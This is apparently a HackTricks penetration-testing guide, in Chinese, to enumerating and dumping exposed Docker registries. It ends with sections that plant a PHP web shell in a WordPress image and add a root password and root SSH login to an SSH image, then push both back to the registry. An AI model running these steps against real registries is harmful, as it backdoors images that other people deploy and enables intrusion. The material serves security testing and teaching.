13 KiB
5000 - 渗透测试 Docker Registry
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版本的 HackTricks,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 探索PEASS 家族,我们的独家NFTs
- 加入 💬 Discord 群组 或 电报群组 或关注我的Twitter 🐦 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
基本信息
一个名为Docker registry的存储和分发系统用于存储命名的 Docker 镜像,这些镜像可能有多个版本,通过标签进行区分。这些镜像在注册表中的Docker repositories中组织,每个存储库存储特定镜像的各个版本。提供的功能允许用户下载镜像到本地或将其上传到注册表,前提是用户具有必要的权限。
DockerHub 作为 Docker 的默认公共注册表,但用户也可以选择运行开源 Docker 注册表/分发的本地版本,或选择商业支持的Docker Trusted Registry。此外,还可以在线找到各种其他公共注册表。
要从本地注册表下载镜像,使用以下命令:
docker pull my-registry:9000/foo/bar:2.1
这个命令从my-registry
域名上端口9000
的本地注册表中获取foo/bar
镜像版本2.1
。相反,要从DockerHub下载相同的镜像,特别是如果2.1
是最新版本,则命令简化为:
docker pull foo/bar
默认端口: 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
发现
发现运行此服务的最简单方法是在nmap的输出中找到它。无论如何,请注意,由于它是基于HTTP的服务,可能在HTTP代理后面,nmap无法检测到它。
一些指纹:
- 如果访问
/
,响应中不会返回任何内容 - 如果访问
/v2/
,则会返回{}
- 如果访问
/v2/_catalog
,可能会获得:{"repositories":["alpine","ubuntu"]}
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
枚举
HTTP/HTTPS
Docker注册表可能配置为使用HTTP或HTTPS。因此,您可能需要做的第一件事是找出正在配置的是哪种:
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
认证
Docker注册表也可以配置为需要认证:
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
如果Docker Registry需要身份验证,您可以尝试使用此方法进行暴力破解。
如果找到有效凭据,您将需要使用它们来枚举注册表,在curl
中可以像这样使用它们:
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
使用DockerRegistryGrabber进行枚举
DockerRegistryGrabber是一个用于枚举/转储Docker注册表(无需或使用基本身份验证)的Python工具
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
使用curl进行枚举
一旦您获得对Docker注册表的访问权限,以下是一些您可以使用的命令来对其进行枚举:
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
{% hint style="warning" %} 请注意,当您下载并解压缩 blobs 文件时,文件和文件夹将出现在当前目录中。如果您下载所有 blobs 并将它们解压缩到同一个文件夹中,它们将覆盖先前解压缩的 blobs 中的值,所以请小心。最好将每个 blob 解压缩到不同的文件夹中,以检查每个 blob 的确切内容。 {% endhint %}
使用 Docker 进行枚举
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
在WordPress镜像中植入后门
在发现一个保存WordPress镜像的Docker Registry的情况下,你可以植入后门。
创建后门:
{% code title="shell.php" %}
<?php echo shell_exec($_GET["cmd"]); ?>
{% endcode %}
创建一个 Dockerfile:
{% code title="Dockerfile" %}
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
创建新镜像,检查其是否已创建,并推送它:
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
在SSH服务器镜像中植入后门
假设你发现了一个带有SSH镜像的Docker Registry,并且想要在其中植入后门。
下载该镜像并运行它:
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
从SSH镜像中提取sshd_config
文件:
docker cp 4c989242c714:/etc/ssh/sshd_config .
并修改它以设置:PermitRootLogin yes
创建一个如下所示的 Dockerfile:
{% tabs %} {% tab title="Dockerfile" %}
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
创建新镜像,检查其是否已创建,并推送它:
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
参考资料
从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群组 或 电报群组 或 关注我的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。